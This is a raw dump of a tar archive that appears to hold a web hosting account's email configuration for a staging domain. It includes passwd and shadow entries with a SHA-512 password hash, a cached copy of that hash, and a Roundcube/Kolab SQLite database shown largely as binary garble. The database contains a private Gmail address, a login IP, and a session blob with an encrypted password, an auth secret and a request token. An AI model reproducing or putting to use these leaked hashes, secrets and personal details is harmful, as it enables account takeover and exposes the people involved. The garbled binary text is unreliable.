/home/staginga/stl.staging-area.xyz/etc.tar
greasetrap.staging-area.xyz/passwd000064000000000126151075366460013327 0ustar00info:x:1197:1200::/home/staginga/mail/greasetrap.staging-area.xyz/info:/home/staginga
greasetrap.staging-area.xyz/shadow000064000000000174151075366460013316 0ustar00info:$6$3GyT7oS9WJbdUwN0$8TUjKpkr0H7xWZ6Pir4sUsciQYCR5ZlHCXwJ8PtdeX4yPDOKOxH1ArW9JZVfdhZgySdMwBhvEm47m30dNV/pY.:20179::::::
greasetrap.staging-area.xyz/quota000064000000000020151075366460013150 0ustar00info:1073741824
greasetrap.staging-area.xyz/@pwcache/info000064000000000322151075366460014471 0ustar00passwd:$6$3GyT7oS9WJbdUwN0$8TUjKpkr0H7xWZ6Pir4sUsciQYCR5ZlHCXwJ8PtdeX4yPDOKOxH1ArW9JZVfdhZgySdMwBhvEm47m30dNV/pY.
quota:1073741824
homedir:/home/staginga/mail/greasetrap.staging-area.xyz/info
lastchanged:20179
greasetrap.staging-area.xyz/@pwcache/info@greasetrap.staging-area.xyz000064000000000334151075366460022044 0ustar00passwd:$6$3GyT7oS9WJbdUwN0$8TUjKpkr0H7xWZ6Pir4sUsciQYCR5ZlHCXwJ8PtdeX4yPDOKOxH1ArW9JZVfdhZgySdMwBhvEm47m30dNV/pY.
quota:0
homedir:/home/staginga/mail/greasetrap.staging-area.xyz/info
strength:100
lastchanged:-1
perms:rw
greasetrap.staging-area.xyz/info.rcube.db000060000001700000151075366460014437 0ustar00SQLite format 3@  (xtl(.�*�b������V[DM.:'
00�MM33�iinfo@greasetrap.staging-area.xyzlocalhost2025-04-01 04:11:312025-06-23 16:41:04en_USa:3:{s:11:"client_hash";s:16:"XFCIw3877gUJKZMJ";s:9:"junk_mbox";s:10:"INBOX.spam";s:15:"namespace_fixed";b:1;}
��-M	info@greasetrap.staging-area.xyzlocalhost


��*	3/2025-04-01 04:11:31Imported Contacts
��		



��F	3/C	2025-04-01 04:11:54Anik.hasan04 2024anik.hasan04.2024@gmail.com
�� 		C	anik.hasan04.2024@gmail.com
��@
	3	

M


2025-04-01 04:11:31info@greasetrap.staging-area.xyz
��		
��$M	info@greasetrap.staging-area.xyz

	�Fc
���
/	��	h4��-�F�~�KtableresponsesresponsesCREATE TABLE responses (
  response_id integer NOT NULL PRIMARY KEY,
  user_id integer NOT NULL
    REFERENCES users (user_id) ON DELETE CASCADE ON UPDATE CASCADE,
  changed datetime NOT NULL default '0000-00-00 00:00:00',
  del tinyint NOT NULL default '0',
  name varchar(255) NOT NULL,
  data text NOT NULL,
  is_html tinyint NOT NULL default '0'
)d3!�indexix_identities_emailidentitiesCREATE INDEX ix_identities_email ON identities(email, del)j
7!�	indexix_identities_user_ididentitiesCREATE INDEX ix_identities_user_id ON identities(user_id, del)�u!!�5tableidentitiesidentities
CREATE TABLE identities (
  identity_id integer NOT NULL PRIMARY KEY,
  user_id integer NOT NULL
    REFERENCES users (user_id) ON DELETE CASCADE ON UPDATE CASCADE,
  changed datetime NOT NULL default '0000-00-00 00:00:00',
  del tinyint NOT NULL default '0',
  standard tinyint NOT NULL default '0',
  name varchar(128) NOT NULL default '',
  organization varchar(128) default '',
  email varchar(128) NOT NULL default '',
  "reply-to" varchar(128) NOT NULL default '',
  bcc varchar(128) NOT NULL default '',
  signature text NOT NULL default '',
  html_signature tinyint NOT NULL default '0'
)�I3�Oindexix_collected_addresses_user_idcollected_addressesCREATE UNIQUE INDEX ix_collected_addresses_user_id ON collected_addresses(user_id, "type", email)�~
33�#tablecollected_addressescollected_addressesCREATE TABLE collected_addresses (
  address_id integer NOT NULL PRIMARY KEY,
  user_id integer NOT NULL
    REFERENCES users (user_id) ON DELETE CASCADE ON UPDATE CASCADE,
  changed datetime NOT NULL default '0000-00-00 00:00:00',
  name varchar(255) NOT NULL default '',
  email varchar(255) NOT NULL,
  "type" integer NOT NULL
)�	O3�1indexix_contactgroupmembers_contact_idcontactgroupmembers
CREATE INDEX ix_contactgroupmembers_contact_id ON contactgroupmembers (contact_id)�33�]tablecontactgroupmemberscontactgroupmembersCREATE TABLE contactgroupmembers (
  contactgroup_id integer NOT NULL
    REFERENCES contactgroups(contactgroup_id) ON DELETE CASCADE ON UPDATE CASCADE,
  contact_id integer NOT NULL
    REFERENCES contacts(contact_id) ON DELETE CASCADE ON UPDATE CASCADE,
  created datetime NOT NULL default '0000-00-00 00:00:00',
  PRIMARY KEY (contactgroup_id, contact_id)
)EY3indexsqlite_autoindex_contactgroupmembers_1contactgroupmembers	v='�indexix_contactgroups_user_idcontactgroupsCREATE INDEX ix_contactgroups_user_id ON contactgroups(user_id, del)�[''�utablecontactgroupscontactgroupsCREATE TABLE contactgroups (
  contactgroup_id integer NOT NULL PRIMARY KEY,
  user_id integer NOT NULL
    REFERENCES users (user_id) ON DELETE CASCADE ON UPDATE CASCADE,
  changed datetime NOT NULL default '0000-00-00 00:00:00',
  del tinyint NOT NULL default '0',
  name varchar(128) NOT NULL default ''
)b3�indexix_contacts_user_idcontactsCREATE INDEX ix_contacts_user_id ON contacts(user_id, del)��atablecontactscontactsCREATE TABLE contacts (
  contact_id integer NOT NULL PRIMARY KEY,
  user_id integer NOT NULL
    REFERENCES users (user_id) ON DELETE CASCADE ON UPDATE CASCADE,
  changed datetime NOT NULL default '0000-00-00 00:00:00',
  del tinyint NOT NULL default '0',
  name varchar(128) NOT NULL default '',
  email text NOT NULL default '',
  firstname varchar(128) NOT NULL default '',
  surname varchar(128) NOT NULL default '',
  vcard text NOT NULL default '',
  words text NOT NULL default ''
)f/�indexix_users_usernameusersCREATE UNIQUE INDEX ix_users_username ON users(username, mail_host)��tableusersusersCREATE TABLE users (
  user_id integer NOT NULL PRIMARY KEY,
  username varchar(128) NOT NULL default '',
  mail_host varchar(128) NOT NULL default '',
  created datetime NOT NULL default '0000-00-00 00:00:00',
  last_login datetime DEFAULT NULL,
  failed_login datetime DEFAULT NULL,
  failed_login_counter integer DEFAULT NULL,
  language varchar(16),
  preferences text DEFAULT NULL
)

	��	wo	H<������K#�x��8
�
�
�bGG�A'�Qtablefilestorefilestore*CREATE TABLE filestore (
    file_id integer NOT NULL PRIMARY KEY,
    user_id integer NOT NULL
        REFERENCES users (user_id) ON DELETE CASCADE ON UPDATE CASCADE,
    context varchar(32) NOT NULL,
    filename varchar(128) NOT NULL,
    mtime integer NOT NULL,
    data text NOT NULL
)m;%�indexix_cache_shared_expirescache_shared CREATE INDEX ix_cache_shared_expires ON cache_shared(expires)�6%%�/tablecache_sharedcache_sharedCREATE TABLE cache_shared (
  cache_key varchar(255) NOT NULL,
  expires datetime DEFAULT NULL,
  data text NOT NULL,
  PRIMARY KEY (cache_key)
)7K%indexsqlite_autoindex_cache_shared_1cache_sharedP-kindexix_cache_expirescacheCREATE INDEX ix_cache_expires ON cache(expires)��tablecachecacheCREATE TABLE cache (
  user_id integer NOT NULL
    REFERENCES users (user_id) ON DELETE CASCADE ON UPDATE CASCADE,
  cache_key varchar(128) NOT NULL default '',
  expires datetime DEFAULT NULL,
  data text NOT NULL,
  PRIMARY KEY (user_id, cache_key)
))=indexsqlite_autoindex_cache_1cacheA�-indexix_searches_user_type_namesearchesCREATE UNIQUE INDEX ix_searches_user_type_name ON searches (user_id, type, name)��tablesearchessearchesCREATE TABLE searches (
  search_id integer NOT NULL PRIMARY KEY,
  user_id integer NOT NULL
    REFERENCES users (user_id) ON DELETE CASCADE ON UPDATE CASCADE,
  "type" smallint NOT NULL DEFAULT '0',
  name varchar(128) NOT NULL,
  data text NOT NULL
)�C!�/indexix_dictionary_user_languagedictionaryCREATE UNIQUE INDEX ix_dictionary_user_language ON dictionary (user_id, language)�U!!�utabledictionarydictionaryCREATE TABLE dictionary (
  user_id integer DEFAULT NULL
    REFERENCES users (user_id) ON DELETE CASCADE ON UPDATE CASCADE,
  language varchar(16) NOT NULL,
  data text NOT NULL
)Y1uindexix_session_changedsessionCREATE INDEX ix_session_changed ON session (changed)�V�tablesessionsessionCREATE TABLE session (
  sess_id varchar(128) NOT NULL PRIMARY KEY,
  changed datetime NOT NULL default '0000-00-00 00:00:00',
  ip varchar(40) NOT NULL default '',
  vars text NOT NULL
)-Aindexsqlite_autoindex_session_1sessionf5�indexix_responses_user_idresponsesCREATE INDEX ix_responses_user_id ON responses(user_id, del),v&?)�indexix_cache_messages_expirescache_messages)CREATE INDEX ix_cache_messages_expires ON cache_messages (expires);%O)indexsqlite_autoindex_cache_messages_1cache_messages(�u$))�%tablecache_messagescache_messages'CREATE TABLE cache_messages (
    user_id integer NOT NULL
        REFERENCES users (user_id) ON DELETE CASCADE ON UPDATE CASCADE,
    mailbox varchar(255) NOT NULL,
    uid integer NOT NULL,
    expires datetime DEFAULT NULL,
    data text NOT NULL,
    flags integer NOT NULL DEFAULT '0',
    PRIMARY KEY (user_id, mailbox, uid)
)n#;%�	indexix_cache_thread_expirescache_thread&CREATE INDEX ix_cache_thread_expires ON cache_thread (expires)7"K%indexsqlite_autoindex_cache_thread_1cache_thread%�(!%%�tablecache_threadcache_thread$CREATE TABLE cache_thread (
    user_id integer NOT NULL
        REFERENCES users (user_id) ON DELETE CASCADE ON UPDATE CASCADE,
    mailbox varchar(255) NOT NULL,
    expires datetime DEFAULT NULL,
    data text NOT NULL,
    PRIMARY KEY (user_id, mailbox)
)j 9#�indexix_cache_index_expirescache_index#CREATE INDEX ix_cache_index_expires ON cache_index (expires)5I#indexsqlite_autoindex_cache_index_1cache_index"�N##�ctablecache_indexcache_index!CREATE TABLE cache_index (
    user_id integer NOT NULL
        REFERENCES users (user_id) ON DELETE CASCADE ON UPDATE CASCADE,
    mailbox varchar(255) NOT NULL,
    expires datetime DEFAULT NULL,
    valid smallint NOT NULL DEFAULT '0',
    data text NOT NULL,
    PRIMARY KEY (user_id, mailbox)
)�u��q_
����$Ma09415cd632064559ff511bf2f0571ea$Md76366c4c2ba713bad44cc81636609e7#M	09b20d41296d3b296415ece0379c2e5f
����32025-06-23 17:22:0432025-05-05 16:08:393	2025-04-01 05:23:51




ll�	u3�DAV.discover.VEVENT.85527bd12c17e7591ff7e9fc31c8b21a2025-04-01 04:25:57czo0MzoiY2FsZW5kYXJzL2luZm9AZ3JlYXNldHJhcC5zdGFnaW5nLWFyZWEueHl6LyI7
��8	u	DAV.discover.VEVENT.85527bd12c17e7591ff7e9fc31c8b21a
��3	2025-04-01 04:25:57














s���s$
;!calendar-caldav-version2024082600&	?!calendar-database-version2024082600-!libkolab-version2023111200/!roundcube-version2022081200
�����;calendar-caldav-version
?calendar-database-version	-libkolab-version/	roundcube-version
����bF
���.
�	2�q��D�v��HA
��I:--�Etablekolab_cache_notekolab_cache_note>CREATE TABLE kolab_cache_note (
  folder_id INTEGER NOT NULL,
  msguid INTEGER NOT NULL,
  uid VARCHAR(512) NOT NULL,
  created DATETIME DEFAULT NULL,
  changed DATETIME DEFAULT NULL,
  data TEXT NOT NULL,
  tags TEXT NOT NULL,
  words TEXT NOT NULL,
  PRIMARY KEY(folder_id,msguid)
)�x733�tablekolab_cache_journalkolab_cache_journal;CREATE TABLE kolab_cache_journal (
  folder_id INTEGER NOT NULL,
  msguid INTEGER NOT NULL,
  uid VARCHAR(512) NOT NULL,
  created DATETIME DEFAULT NULL,
  changed DATETIME DEFAULT NULL,
  data TEXT NOT NULL,
  tags TEXT NOT NULL,
  words TEXT NOT NULL,
  dtstart DATETIME,
  dtend DATETIME,
  PRIMARY KEY(folder_id,msguid)
)p{(5�/indexix_filestore_user_idfilestore+CREATE UNIQUE INDEX ix_filestore_user_id ON filestore(user_id, context, filename)�973�+indexix_journal_uid2msguidkolab_cache_journal=CREATE INDEX ix_journal_uid2msguid ON kolab_cache_journal(folder_id,uid,msguid)E8Y3indexsqlite_autoindex_kolab_cache_journal_1kolab_cache_journal<x61-�indexix_task_uid2msguidkolab_cache_task:CREATE INDEX ix_task_uid2msguid ON kolab_cache_task(folder_id,uid,msguid)?5S-indexsqlite_autoindex_kolab_cache_task_1kolab_cache_task9�o4--�tablekolab_cache_taskkolab_cache_task8CREATE TABLE kolab_cache_task (
  folder_id INTEGER NOT NULL,
  msguid INTEGER NOT NULL,
  uid VARCHAR(512) NOT NULL,
  created DATETIME DEFAULT NULL,
  changed DATETIME DEFAULT NULL,
  data TEXT NOT NULL,
  tags TEXT NOT NULL,
  words TEXT NOT NULL,
  dtstart DATETIME,
  dtend DATETIME,
  PRIMARY KEY(folder_id,msguid)
)|33/�#indexix_event_uid2msguidkolab_cache_event7CREATE INDEX ix_event_uid2msguid ON kolab_cache_event(folder_id,uid,msguid)A2U/indexsqlite_autoindex_kolab_cache_event_1kolab_cache_event6�r1//�tablekolab_cache_eventkolab_cache_event5CREATE TABLE kolab_cache_event (
  folder_id INTEGER NOT NULL,
  msguid INTEGER NOT NULL,
  uid VARCHAR(512) NOT NULL,
  created DATETIME DEFAULT NULL,
  changed DATETIME DEFAULT NULL,
  data TEXT NOT NULL,
  tags TEXT NOT NULL,
  words TEXT NOT NULL,
  dtstart DATETIME,
  dtend DATETIME,
  PRIMARY KEY(folder_id,msguid)
)�073�+indexix_contact_uid2msguidkolab_cache_contact4CREATE INDEX ix_contact_uid2msguid ON kolab_cache_contact(folder_id,uid,msguid)r/+3�indexix_contact_typekolab_cache_contact3CREATE INDEX ix_contact_type ON kolab_cache_contact(folder_id,type)E.Y3indexsqlite_autoindex_kolab_cache_contact_1kolab_cache_contact2�p-33�tablekolab_cache_contactkolab_cache_contact1CREATE TABLE kolab_cache_contact (
  folder_id INTEGER NOT NULL,
  msguid INTEGER NOT NULL,
  uid VARCHAR(512) NOT NULL,
  created DATETIME DEFAULT NULL,
  changed DATETIME DEFAULT NULL,
  data TEXT NOT NULL,
  tags TEXT NOT NULL,
  words TEXT NOT NULL,
  type VARCHAR(32) NOT NULL,
  name VARCHAR(255) NOT NULL,
  firstname VARCHAR(255) NOT NULL,
  surname VARCHAR(255) NOT NULL,
  email VARCHAR(255) NOT NULL,
  PRIMARY KEY(folder_id,msguid)
)h,-'�	indexix_resource_typekolab_folders0CREATE INDEX ix_resource_type ON kolab_folders(resource, type)�+''�qtablekolab_folderskolab_folders/CREATE TABLE kolab_folders (
  folder_id INTEGER NOT NULL PRIMARY KEY,
  resource VARCHAR(255) NOT NULL,
  type VARCHAR(32) NOT NULL,
  synclock INTEGER NOT NULL DEFAULT '0',
  ctag VARCHAR(128) DEFAULT NULL,
  changed DATETIME DEFAULT NULL
)+*?indexsqlite_autoindex_system_1system-o)�9tablesystemsystem,CREATE TABLE system (
  name varchar(64) NOT NULL PRIMARY KEY,
  value text NOT NULL
)
hh��c!3dav://info%40greasetrap.staging-area.xyz@127.0.0.1:2080calendars/info@greasetrap.staging-area.xyz/calendar/event17434806772025-04-01 00:15:57
��u�c	dav://info%40greasetrap.staging-area.xyz@127.0.0.1:2080calendars/info@greasetrap.staging-area.xyz/calendar/event



















*�E
�
�
�
�
<	��KK�v��*�H�}H;;�tablekolab_cache_dav_contactkolab_cache_dav_contact�|M55�tablekolab_cache_dav_taskkolab_cache_dav_taskRCREATE TABLE kolab_cache_dav_task (
  folder_id INTEGER NOT NULL,
  uid VARCHAR(512) NOT NULL,
  etag VARCHAR(128) NOT NULL,
  created DATETIME DEFAULT NULL,
  changed DATETIME DEFAULT NULL,
  data TEXT NOT NULL,
  tags TEXT NOT NULL,
  words TEXT NOT NULL,
  dtstart DATETIME,
  dtend DATETIME,
  PRIMARY KEY(folder_id, uid)
)IL]7indexsqlite_autoindex_kolab_cache_dav_event_1kolab_cache_dav_eventQ�K77�tablekolab_cache_dav_eventkolab_cache_dav_eventPCREATE TABLE kolab_cache_dav_event (
  folder_id INTEGER NOT NULL,
  uid VARCHAR(512) NOT NULL,
  etag VARCHAR(128) NOT NULL,
  created DATETIME DEFAULT NULL,
  changed DATETIME DEFAULT NULL,
  data TEXT NOT NULL,
  tags TEXT NOT NULL,
  words TEXT NOT NULL,
  dtstart DATETIME,
  dtend DATETIME,
  PRIMARY KEY(folder_id, uid)
)�J3;�%indexix_contact_type_davkolab_cache_dav_contactOCREATE INDEX ix_contact_type_dav ON kolab_cache_dav_contact(folder_id, type)MIa;indexsqlite_autoindex_kolab_cache_dav_contact_1kolab_cache_dav_contactN�}H;;�tablekolab_cache_dav_contactkolab_cache_dav_contactMCREATE TABLE kolab_cache_dav_contact (
  folder_id INTEGER NOT NULL,
  uid VARCHAR(512) NOT NULL,
  etag VARCHAR(128) NOT NULL,
  created DATETIME DEFAULT NULL,
  changed DATETIME DEFAULT NULL,
  data TEXT NOT NULL,
  tags TEXT NOT NULL,
  words TEXT NOT NULL,
  type VARCHAR(32) NOT NULL,
  name VARCHAR(255) NOT NULL,
  firstname VARCHAR(255) NOT NULL,
  surname VARCHAR(255) NOT NULL,
  email VARCHAR(255) NOT NULL,
  PRIMARY KEY(folder_id, uid)
)�G95�/indexix_freebusy_uid2msguidkolab_cache_freebusyLCREATE INDEX ix_freebusy_uid2msguid ON kolab_cache_freebusy(folder_id,uid,msguid)GF[5indexsqlite_autoindex_kolab_cache_freebusy_1kolab_cache_freebusyK�{E55�tablekolab_cache_freebusykolab_cache_freebusyJCREATE TABLE kolab_cache_freebusy (
  folder_id INTEGER NOT NULL,
  msguid INTEGER NOT NULL,
  uid VARCHAR(512) NOT NULL,
  created DATETIME DEFAULT NULL,
  changed DATETIME DEFAULT NULL,
  data TEXT NOT NULL,
  tags TEXT NOT NULL,
  words TEXT NOT NULL,
  dtstart DATETIME,
  dtend DATETIME,
  PRIMARY KEY(folder_id,msguid)
)�DC?�Cindexix_configuration_uid2msguidkolab_cache_configurationICREATE INDEX ix_configuration_uid2msguid ON kolab_cache_configuration(folder_id,uid,msguid)�
C7?�+indexix_configuration_typekolab_cache_configurationHCREATE INDEX ix_configuration_type ON kolab_cache_configuration(folder_id,type)QBe?indexsqlite_autoindex_kolab_cache_configuration_1kolab_cache_configurationG�A??�tablekolab_cache_configurationkolab_cache_configurationFCREATE TABLE kolab_cache_configuration (
  folder_id INTEGER NOT NULL,
  msguid INTEGER NOT NULL,
  uid VARCHAR(512) NOT NULL,
  created DATETIME DEFAULT NULL,
  changed DATETIME DEFAULT NULL,
  data TEXT NOT NULL,
  tags TEXT NOT NULL,
  words TEXT NOT NULL,
  type VARCHAR(32) NOT NULL,
  PRIMARY KEY(folder_id,msguid)
)x@1-�indexix_file_uid2msguidkolab_cache_fileECREATE INDEX ix_file_uid2msguid ON kolab_cache_file(folder_id,uid,msguid)v?1-�indexix_folder_filenamekolab_cache_fileCCREATE INDEX ix_folder_filename ON kolab_cache_file(folder_id,filename)?>S-indexsqlite_autoindex_kolab_cache_file_1kolab_cache_fileB�o=--�tablekolab_cache_filekolab_cache_fileACREATE TABLE kolab_cache_file (
  folder_id INTEGER NOT NULL,
  msguid INTEGER NOT NULL,
  uid VARCHAR(512) NOT NULL,
  created DATETIME DEFAULT NULL,
  changed DATETIME DEFAULT NULL,
  data TEXT NOT NULL,
  tags TEXT NOT NULL,
  words TEXT NOT NULL,
  filename varchar(255) DEFAULT NULL,
  PRIMARY KEY(folder_id,msguid)
)x<1-�indexix_note_uid2msguidkolab_cache_note@CREATE INDEX ix_note_uid2msguid ON kolab_cache_note(folder_id,uid,msguid)?;S-indexsqlite_autoindex_kolab_cache_note_1kolab_cache_note?

















�!Rf	�g�5C
�!!�[--�[tablecarddav_contactscarddav_contactsaCREATE TABLE carddav_contacts (
	id           integer NOT NULL PRIMARY KEY,
	abook_id     integer NOT NULL,
	name         VARCHAR(255) NOT NULL, 
	email        VARCHAR(255),          
	firstname    VARCHAR(255),
	surname      VARCHAR(255),
	organization VARCHAR(255),
	showas       VARCHAR(32) NOT NULL DEFAULT '', 
	vcard        TEXT NOT NULL,         
	etag         VARCHAR(255) NOT NULL, 
	uri          VARCHAR(255) NOT NULL, 
	cuid         VARCHAR(255) NOT NULL, 

	UNIQUE(uri,abook_id),
	UNIQUE(cuid,abook_id),

	
	FOREIGN KEY(abook_id) REFERENCES carddav_addressbooks(id) ON DELETE CASCADE ON UPDATE CASCADE
)��GN[5indexsqlite_autoindex_kolab_cache_dav_task_1kolab_cache_dav_taskSmW;%�indexix_kolab_alarms_user_idkolab_alarms]CREATE INDEX ix_kolab_alarms_user_id ON kolab_alarms(user_id)7VK%indexsqlite_autoindex_kolab_alarms_1kolab_alarms\�oU%%�!tablekolab_alarmskolab_alarms[CREATE TABLE kolab_alarms (
  alarm_id VARCHAR(255) NOT NULL,
  user_id INTEGER NOT NULL,
  notifyat DATETIME DEFAULT NULL,
  dismissed TINYINT(3) NOT NULL DEFAULT '0',
  PRIMARY KEY(alarm_id,user_id)
)|T9+�!indexix_itipinvitations_uiditipinvitationsZCREATE INDEX ix_itipinvitations_uid ON itipinvitations(user_id, event_uid)=SQ+indexsqlite_autoindex_itipinvitations_1itipinvitationsYu�R++�mtableitipinvitationsitipinvitationsXCREATE TABLE itipinvitations (
  token varchar(64) NOT NULL PRIMARY KEY,
  event_uid varchar(255) NOT NULL,
  user_id integer NOT NULL default '0',
  event text NOT NULL,
  expires datetime NOT NULL default '1000-01-01 00:00:00',
  cancelled tinyint(1) NOT NULL default '0',
  CONSTRAINT fk_itipinvitations_user_id FOREIGN KEY (user_id)
    REFERENCES users(user_id)
)�Q##�itableattachmentsattachmentsWCREATE TABLE attachments (
  attachment_id integer NOT NULL PRIMARY KEY,
  event_id integer NOT NULL default '0',
  filename varchar(255) NOT NULL default '',
  mimetype varchar(255) NOT NULL default '',
  size integer NOT NULL default '0',
  data text NOT NULL default '',
  CONSTRAINT fk_attachment_event_id FOREIGN KEY (event_id)
    REFERENCES events(event_id)
)�JP�otableeventseventsUCREATE TABLE events (
  event_id integer NOT NULL PRIMARY KEY,
  calendar_id integer NOT NULL default '0',
  recurrence_id integer NOT NULL default '0',
  uid varchar(255) NOT NULL default '',
  instance varchar(16) NOT NULL default '',
  isexception tinyint(1) NOT NULL default '0',
  created datetime NOT NULL default '1000-01-01 00:00:00',
  changed datetime NOT NULL default '1000-01-01 00:00:00',
  sequence integer NOT NULL default '0',
  start datetime NOT NULL default '1000-01-01 00:00:00',
  end datetime NOT NULL default '1000-01-01 00:00:00',
  recurrence varchar(255) default NULL,
  title varchar(255) NOT NULL,
  description text NOT NULL,
  location varchar(255) NOT NULL default '',
  categories varchar(255) NOT NULL default '',
  url varchar(255) NOT NULL default '',
  all_day tinyint(1) NOT NULL default '0',
  free_busy tinyint(1) NOT NULL default '0',
  priority tinyint(1) NOT NULL default '0',
  sensitivity tinyint(1) NOT NULL default '0',
  status varchar(32) NOT NULL default '',
  alarms text default NULL,
  attendees text default NULL,
  notifyat datetime default NULL,
  CONSTRAINT fk_events_calendar_id FOREIGN KEY (calendar_id)
    REFERENCES calendars(calendar_id)
)�O�}tablecalendarscalendarsTCREATE TABLE calendars (
  calendar_id integer NOT NULL PRIMARY KEY,
  user_id integer NOT NULL default '0',
  name varchar(255) NOT NULL default '',
  color varchar(255) NOT NULL default '',
  showalarms tinyint(1) NOT NULL default '1',
  driver varchar(255) NOT NULL default 'database',
  CONSTRAINT fk_calendars_user_id FOREIGN KEY (user_id)
    REFERENCES users(user_id)
)







��		
���3M3)�e09b20d41296d3b296415ece0379c2e5f2025-04-01 05:23:51103.162.230.10bGFuZ3VhZ2V8czo1OiJlbl9VUyI7aW1hcF9uYW1lc3BhY2V8YTo1OntzOjg6InBlcnNvbmFsIjthOjE6e2k6MDthOjI6e2k6MDtzOjY6IklOQk9YLiI7aToxO3M6MToiLiI7fX1zOjU6Im90aGVyIjtOO3M6Njoic2hhcmVkIjtOO3M6OToicHJlZml4X2luIjtzOjY6IklOQk9YLiI7czoxMDoicHJlZml4X291dCI7czo2OiJJTkJPWC4iO31pbWFwX2RlbGltaXRlcnxzOjE6Ii4iO2ltYXBfbGlzdF9jb25mfGE6Mjp7aTowO3M6NjoiSU5CT1guIjtpOjE7YTowOnt9fXVzZXJfaWR8aToxO3VzZXJuYW1lfHM6MzI6ImluZm9AZ3JlYXNldHJhcC5zdGFnaW5nLWFyZWEueHl6IjtzdG9yYWdlX2hvc3R8czo5OiJsb2NhbGhvc3QiO3N0b3JhZ2VfcG9ydHxpOjE0MztzdG9yYWdlX3NzbHxiOjA7cGFzc3dvcmR8czo5Njoibzc3MHliZkVjKzFZTm1CQ2ViWWltdjFxdHNvTzhUbjdvRFYyaUVrbkMzR3BwQytVcThIUG9iOHFlYnlQZEx6b2ovMHNuZSttQU8vcXEzeUVqVXIydkhrRVp5TlBYVE1VIjtsb2dpbl90aW1lfGk6MTc0MzQ4MDY5MTtTVE9SQUdFX1NQRUNJQUwtVVNFfGI6MTthdXRoX3NlY3JldHxzOjMyOiJ1VjR4dDRpZFlxcnl6Smx4R3BhZHFrSUpoWVlUSER6aiI7cmVxdWVzdF90b2tlbnxzOjMyOiJDOTJpaFlXMlZ4QnpmMTl0MndydHR2c08yY1hSSjdBdSI7dGFza3xzOjQ6Im1haWwiO3NraW5fY29uZmlnfGE6Nzp7czoxNzoic3VwcG9ydGVkX2xheW91dHMiO2E6MTp7aTowO3M6MTA6IndpZGVzY3JlZW4iO31zOjIyOiJqcXVlcnlfdWlfY29sb3JzX3RoZW1lIjtzOjk6ImJvb3RzdHJhcCI7czoxODoiZW1iZWRfY3NzX2xvY2F0aW9uIjtzOjE3OiIvc3R5bGVzL2VtYmVkLmNzcyI7czoxOToiZWRpdG9yX2Nzc19sb2NhdGlvbiI7czoxNzoiL3N0eWxlcy9lbWJlZC5jc3MiO3M6MTc6ImRhcmtfbW9kZV9zdXBwb3J0IjtiOjE7czoyNjoibWVkaWFfYnJvd3Nlcl9jc3NfbG9jYXRpb24iO3M6NDoibm9uZSI7czoyMToiYWRkaXRpb25hbF9sb2dvX3R5cGVzIjthOjM6e2k6MDtzOjQ6ImRhcmsiO2k6MTtzOjU6InNtYWxsIjtpOjI7czoxMDoic21hbGwtZGFyayI7fX1pbWFwX2hvc3R8czo5OiJsb2NhbGhvc3QiO3BhZ2V8aToxO21ib3h8czoxMDoiSU5CT1guU2VudCI7c29ydF9jb2x8czowOiIiO3NvcnRfb3JkZXJ8czo0OiJERVNDIjtTVE9SQUdFX1RIUkVBRHxhOjM6e2k6MDtzOjEwOiJSRUZFUkVOQ0VTIjtpOjE7czo0OiJSRUZTIjtpOjI7czoxNDoiT1JERVJFRFNVQkpFQ1QiO31TVE9SQUdFX1FVT1RBfGI6MTtTVE9SQUdFX0xJU1QtRVhURU5ERUR8YjoxO3F1b3RhX2Rpc3BsYXl8czo0OiJ0ZXh0IjtsaXN0X2F0dHJpYnxhOjc6e3M6NDoibmFtZSI7czo4OiJtZXNzYWdlcyI7czoyOiJpZCI7czoxMToibWVzc2FnZWxpc3QiO3M6NToiY2xhc3MiO3M6NDI6Imxpc3RpbmcgbWVzc2FnZWxpc3Qgc29ydGhlYWRlciBmaXhlZGhlYWRlciI7czoxNToiYXJpYS1sYWJlbGxlZGJ5IjtzOjIyOiJhcmlhLWxhYmVsLW1lc3NhZ2VsaXN0IjtzOjk6ImRhdGEtbGlzdCI7czoxMjoibWVzc2FnZV9saXN0IjtzOjE0OiJkYXRhLWxhYmVsLW1zZyI7czoxODoiVGhlIGxpc3QgaXMgZW1wdHkuIjtzOjc6ImNvbHVtbnMiO2E6ODp7aTowO3M6NzoidGhyZWFkcyI7aToxO3M6Nzoic3ViamVjdCI7aToyO3M6Njoic3RhdHVzIjtpOjM7czo2OiJmcm9tdG8iO2k6NDtzOjQ6ImRhdGUiO2k6NTtzOjQ6InNpemUiO2k6NjtzOjQ6ImZsYWciO2k6NztzOjEwOiJhdHRhY2htZW50Ijt9fXVuc2Vlbl9jb3VudHxhOjY6e3M6NToiSU5CT1giO2k6MTtzOjEyOiJJTkJPWC5EcmFmdHMiO2k6MDtzOjEwOiJJTkJPWC5TZW50IjtpOjA7czoxMDoiSU5CT1guc3BhbSI7aTowO3M6MTE6IklOQk9YLlRyYXNoIjtpOjA7czoxMzoiSU5CT1guQXJjaGl2ZSI7aTowO31TVE9SQUdFX0FDTHxiOjA7bGFzdF9jb21wb3NlX3Nlc3Npb258czoyMzoiMTE0NjM3MTA4MTY3ZWI2NzdhZGZlZDkiO2ZvbGRlcnN8YToyOntzOjU6IklOQk9YIjthOjI6e3M6MzoiY250IjtpOjE7czo2OiJtYXh1aWQiO2k6MTt9czoxMDoiSU5CT1guU2VudCI7YToyOntzOjM6ImNudCI7aToxO3M6NjoibWF4dWlkIjtpOjE7fX1saXN0X21vZF9zZXF8czoxOiIyIjtTVE9SQUdFX1FSRVNZTkN8YjoxO2Jyb3dzZXJfY2Fwc3xhOjU6e3M6MzoicGRmIjtzOjE6IjEiO3M6NToiZmxhc2giO3M6MToiMCI7czo0OiJ0aWZmIjtzOjE6IjAiO3M6NDoid2VicCI7czoxOiIxIjtzOjc6InBncG1pbWUiO3M6MToiMCI7fXNhZmVfbWVzc2FnZXN8YToxOntzOjEyOiJJTkJPWC5TZW50OjEiO2I6MDt9d3JpdGVhYmxlX2Fib29rfGI6MTs=


;�~�
�
R��
	�	�	��g�D;hy��;v--�)tablecarddav_accountscarddav_accountsvCREATE TABLE "carddav_accounts" (
	id              integer NOT NULL PRIMARY KEY,
	accountname     TEXT NOT NULL,
	username        TEXT NOT NULL,
	password        TEXT NOT NULL,
	discovery_url   TEXT,
	user_id         integer NOT NULL,
	last_discovered BIGINT NOT NULL DEFAULT 0,  
	rediscover_time INT NOT NULL DEFAULT 86400, 

	presetname      TEXT, flags integer NOT NULL DEFAULT 0,                       

	UNIQUE(user_id,presetname),

	
	FOREIGN KEY(user_id) REFERENCES users(user_id) ON DELETE CASCADE ON UPDATE CASCADE
